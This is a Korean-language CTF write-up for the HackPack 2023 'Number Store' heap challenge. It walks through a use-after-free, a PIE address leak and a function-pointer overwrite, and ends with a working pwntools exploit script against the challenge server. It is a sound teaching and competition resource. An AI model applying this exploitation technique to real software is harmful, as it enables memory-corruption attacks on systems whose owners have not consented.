HackPack CTF 2023 - Number Store (UAF)

Welcome to Number Store(TM)! A new FREE password manager. However, due to budget constraints we were only able to add support for storing numbers. Store your favorite secret numbers or generate new random ones! Also comes with a super secret flag!
nc cha.hackpack.club 41705

  • [48 solves / 116 points]

아마 이 블로그 최초 uaf 롸업이지 않나 싶다. 힙 문제를 기피했었는데 태그가 easy여서 풀어봤다..
ctf 시작하고 바이너리를 다운받고 끝나고 풀어봤는데 중간에 바이너리가 바뀌었다. printFlag 함수 주소만 바꿔주니 remote로 플래그를 얻을 수 있어서 그냥 예전 바이너리 코드를 보겠다 ㅎ.. (실제로 분석은 예전 바이너리로 했기 때문..)

Analysis

일단 main 함수를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-3Ch]
int v5; // [rsp+8h] [rbp-38h]
int j; // [rsp+Ch] [rbp-34h]
int func_result; // [rsp+14h] [rbp-2Ch]
unsigned int print_idx; // [rsp+18h] [rbp-28h]
unsigned int edit_idx; // [rsp+1Ch] [rbp-24h]
unsigned int IndexNum; // [rsp+20h] [rbp-20h]
unsigned int UserNum; // [rsp+24h] [rbp-1Ch]
_QWORD *_func_result; // [rsp+28h] [rbp-18h]
const char **Number_obj; // [rsp+30h] [rbp-10h]
char *Number_obj_copy; // [rsp+38h] [rbp-8h]

setvbuf(_bss_start, 0LL, 2, 0LL);
Number_obj = (const char **)calloc(10uLL, 8uLL);// 8짜리 10개
Number_obj_copy = (char *)calloc(10uLL, 16uLL);// 16짜리 10개
for ( i = 0; i <= 159; i += 16 )
strncpy(&Number_obj_copy[i], "none", 0xFuLL);
_func_result = 0LL;
v5 = 1;
printStr("WELCOME TO NUMBER STORE\n");
printStr("Store your favorite or secret numbers here! You can even generate new random numbers!\n");
printStr("Now includes a super secret flag!\n\n");
while ( v5 )
{
printStr("1.) Store New Number\n");
printStr("2.) Delete Number\n");
printStr("3.) Edit Number\n");
printStr("4.) Show Number\n");
printStr("5.) Show Number List\n");
printStr("6.) Generate Random Number\n");
printStr("7.) Show Random Number\n");
printStr("8.) Show Super Secret Flag\n");
printStr("9.) Quit\n\n");
printStr("Choose option: ");
switch ( (unsigned int)getUserNum() )
{
case 1u:
printStr("Enter index of new number (0-9): ");
UserNum = getUserNum();
if ( UserNum >= 10 )
goto Index_out_of_bound;
createStaticNum(UserNum, (__int64)Number_obj);
strncpy(&Number_obj_copy[16 * UserNum], Number_obj[UserNum], 0xFuLL);
break;
case 2u:
printStr("Enter index of number to delete (0-9): ");
IndexNum = getUserNum();
if ( IndexNum < 10 )
{
deleteObject(IndexNum, (__int64)Number_obj);
strncpy(&Number_obj_copy[16 * IndexNum], "none", 0xFuLL);
}
else
{
printStr("Invalid Index!\n"); // 음수 안됨 oob x
}
break;
case 3u:
printStr("Enter index of number to edit (0-9): ");
edit_idx = getUserNum();
if ( edit_idx < 0xA )
editObject(edit_idx, (__int64)Number_obj);
else
printStr("Invalid Index\n");
break;
case 4u:
printStr("Select index of number to print (0-9): ");
print_idx = getUserNum();
if ( print_idx >= 0xA )
Index_out_of_bound:
printStr("Index out of bounds!\n");
else
readObject(print_idx, (__int64)Number_obj);
break;
case 5u:
showList((__int64)Number_obj_copy);
break;
case 6u:
if ( !_func_result )
_func_result = createRandomNum();
func_result = ((__int64 (*)(void))_func_result[2])();// printFlag 실행해야함
_func_result[1] = *_func_result;
*_func_result = func_result;
goto print_random_num;
case 7u:
print_random_num:
if ( _func_result )
printf("%ld\n", *_func_result);
else
printStr("No Random Number has been generated\n");
break;
case 8u:
printStr("Access Denied\n");
break;
case 9u:
v5 = 0;
break;
default:
printStr("Option does not exist\n");
break;
}
printStr("\n");
}
if ( _func_result )
free(_func_result);
for ( j = 0; j <= 9; ++j )
{
if ( strcmp(&Number_obj_copy[16 * j], "none") )
free((void *)Number_obj[j]);
}
free(Number_obj_copy);
free(Number_obj);
return 0;
}

일단 1번 메뉴를 살펴보자. createStaticNum 함수이다. 참고로 여러 기능을 실행하기 전에 getUserNum 함수를 통해 인덱스를 받아오는데 음수를 잘 거르고 있으니 oob와 같은 취약점이 발생할 수 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_QWORD *__fastcall createStaticNum(int idx, __int64 obj)
{
_QWORD *result; // rax
_QWORD *name_ptr; // [rsp+18h] [rbp-8h]

name_ptr = malloc(0x18uLL);
printStr("Enter object name: ");
getName(name_ptr);
printStr("Enter number: ");
name_ptr[2] = getUserNum();
result = name_ptr;
*(_QWORD *)(obj + 8LL * idx) = name_ptr;
return result;
}

idxobj가 인자로 넘어왔다. malloc을 통해서 name을 입력받는 공간을 할당한다. 그러니깐 obj는 아래처럼 생겼다.

1
2
3
4
5
6
7
8
name_ptr + 0x00: name
name_ptr + 0x10: name
name_ptr + 0x18: num
...
obj + 0x00: name_ptr
obj + 0x08: name_ptr A
obj + 0x10: name_ptr B
...

디버깅하면서 처음 알게되었는데 늦게 malloc되면 주소가 위로 올라간다.

이제 deleteObject 함수를 살펴보자.

1
2
3
4
void __fastcall deleteObject(int idx, __int64 a2)
{
free(*(void **)(8LL * idx + a2)); // free하고 나서 데이터를 초기화 시켜줘야하는데 안 시켜줌
}

주석에도 적혀있듯이, free하고 나서 데이터도 함께 초기화 시켜줘야하는데 안 시켜줬다. 그러면 데이터가 그대로 남아있게 된다.

  • 입력

    1
    createStaticNum(0, 'aaaa', 1234)
  • free 전

    1
    2
    3
    4
    5
    6
    # name_ptr
    0x55fa7d9683b0: 0x0000000061616161 0x0000000000000000
    0x55fa7d9683c0: 0x00000000000004d2

    # obj
    0x55fa7d9682a0: 0x000055fa7d9683b0
  • free 후

    1
    2
    3
    4
    5
    6
    # name_ptr
    0x55fa7d9683b0: 0x000000055fa7d968 0x672609a652e683d0
    0x55fa7d9683c0: 0x00000000000004d2

    # obj
    0x55fa7d9682a0: 0x000055fa7d9683b0

name 부분은 이상해졌는데,.. num은 그대로 보존되어 있다. 해제 후에도 이 값을 이용할 수 있기 때문에 이 값을 이용할 것이다. (int)라서 주소 넣기 딱 좋아보인다.

이제 또 다른 malloc을 찾을 것이다. 왜냐하면 heap chunk를 해제하고 똑같은 크기의 heap chunk를 할당하면 동일한 위치한다는 것을 이용할 것이기 때문이다. malloc을 사용하는 곳이 총 두 곳 있는데, 하나는 위의 createStaticNum 함수이고 다른 하나는 createRandomNum이다.

1
2
3
4
5
6
7
8
9
10
11
12
_QWORD *createRandomNum()
{
_QWORD *buf; // [rsp+8h] [rbp-8h]

srand(0);
buf = malloc(0x18uLL);
buf[2] = generateRandNum; // 함수 포인터
buf[1] = 0LL;
*buf = 0LL;
write(1, buf, 8uLL);
return buf;
}

이 구조는 아래와 같이 생겼다.

1
2
3
buf + 0x00: 0
buf + 0x10: 0
buf + 0x18: generateRandNum func_ptr

이 구조는 뭔가 아까 위에서 본 name_ptr과 유사하다. 서로 다른 구조체가 있는데 용도는 다르지만 크기가 동일하다. A 용도에서 해제할 때 데이터가 초기화가 되지 않아 B 용도일 때 사용될 수 있다. uaf 취약점은 보통 이렇게 이용된다.

createRandomNum 함수는 아래와 같이 main 함수에서 호출되고 이용된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// main
case 6u:
if ( !_func_result )
_func_result = createRandomNum();
func_result = ((__int64 (*)(void))_func_result[2])();// printFlag 실행
_func_result[1] = *_func_result;
*_func_result = func_result;
goto print_random_num;
case 7u:
print_random_num:
if ( _func_result )
printf("%ld\n", *_func_result);
else
printStr("No Random Number has been generated\n");
break;

_func_result가 없는 경우 createRandomNum 함수를 통해 랜덤한 수를 받아온다. 랜덤한 수를 어떻게 받아오냐? func_result = ((__int64 (*)(void))_func_result[2])(); 이 라인을 통해 createRandomNum 함수에서 메모리에 저장한 generateRandNum 함수 포인터를 실행한다. 그 결과를 7번 메뉴에서 출력할 수 있다.

우리는 generateRandNum 함수 대신 printFlag 함수를 실행할 것이다. 그러면 바로 func_result = ((__int64 (*)(void))_func_result[2])(); 이 라인에서 함수가 실행되어 flag.txt가 보일 것이다.

How to leak

문제는 이 문제에 pie가 걸려있다. leak은 어떻게 하면 좋을까? 아래 함수를 이용하자.

1
2
3
4
5
6
7
8
int __fastcall readObject(int idx, __int64 a2)
{
char *s; // [rsp+18h] [rbp-8h]

s = *(char **)(8LL * idx + a2);
puts(s);
return printf("%ld\n", *((_QWORD *)s + 2)); // 주소 leak
}

*((_QWORD *)s + 2)을 출력하는 것으로 보아 name_ptrnum을 출력해준다. 이 함수를 통해 leak을 할 수 있는데, 먼저 obj 구조체를 만들고 해제한다. 그 다음 createRandomNum 함수를 통해 obj[x]가 가리키는 name_ptr+2num 위치에 generateRandNum 함수 포인터가 위치하게 한다. 마지막으로 readObject 함수를 실행시켜 generateRandNum 함수의 주소를 구하고 pie address까지 구할 수 있다.

Solve

  1. createStaticNum 함수를 이용하여 malloc
  2. deleteObject 함수를 이용하여 free
  3. createRandomNum 함수를 이용하여 num 위치에 func_ptr이 위치하도록 malloc
  4. readObject 함수를 이용하여 pie 주소 leak
  5. deleteObject 함수를 이용하여 free
  6. createStaticNum 함수를 이용하여 malloc 이 때 num 위치에 printFlag 함수 주소 입력
  7. deleteObject 함수를 이용하여 free
  8. 6번 메뉴를 이용하여 printFlag 함수 실행
    • 이것이 가능한 이유가 아래와 같이 태초에 한 번만 random한 수를 받기 때문이다.
      1
      2
      3
      4
      case 6u:
      if ( !_func_result )
      _func_result = createRandomNum();
      func_result = ((__int64 (*)(void))_func_result[2])();// printFlag 실행
    • 3번 과정에서 createRandomNum 함수를 한 번 실행했으므로 _func_result은 이미 값이 채워져있다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# p = process('./chal')
p = remote('cha.hackpack.club', 41705)
e = ELF('./chal')

def createStaticNum(idx, name, addr):
p.sendlineafter('option: ', str(1))
p.sendlineafter('(0-9): ', str(idx))
p.sendlineafter('name: ', name)
p.sendlineafter('number: ', str(addr))

def deleteObject(idx):
p.sendlineafter('option: ', str(2))
p.sendlineafter('(0-9): ', str(idx))

# leak pie
def readObject(idx):
p.sendlineafter('option: ', str(4))
p.sendlineafter('(0-9): ', str(idx))

def createRandomNum():
p.sendlineafter('option: ', str(6))

# show flag.txt
def showRandomNum():
p.sendlineafter('option: ', str(7))

createStaticNum(0, 'aaaa', 1234)
deleteObject(0)
createRandomNum()
readObject(0)

p.recvline()
e.address = int(p.recvline(), 10) - 0x1257
info(hex(e.address))

deleteObject(0)
createStaticNum(0, 'aaaa', e.address + 0x1244) # e.sym['printFlag']
# pause()
deleteObject(0)
# pause()
createRandomNum()

p.interactive()

Flag

1
flag{n3v3r_tru5t_fr33_jVmVsEuj}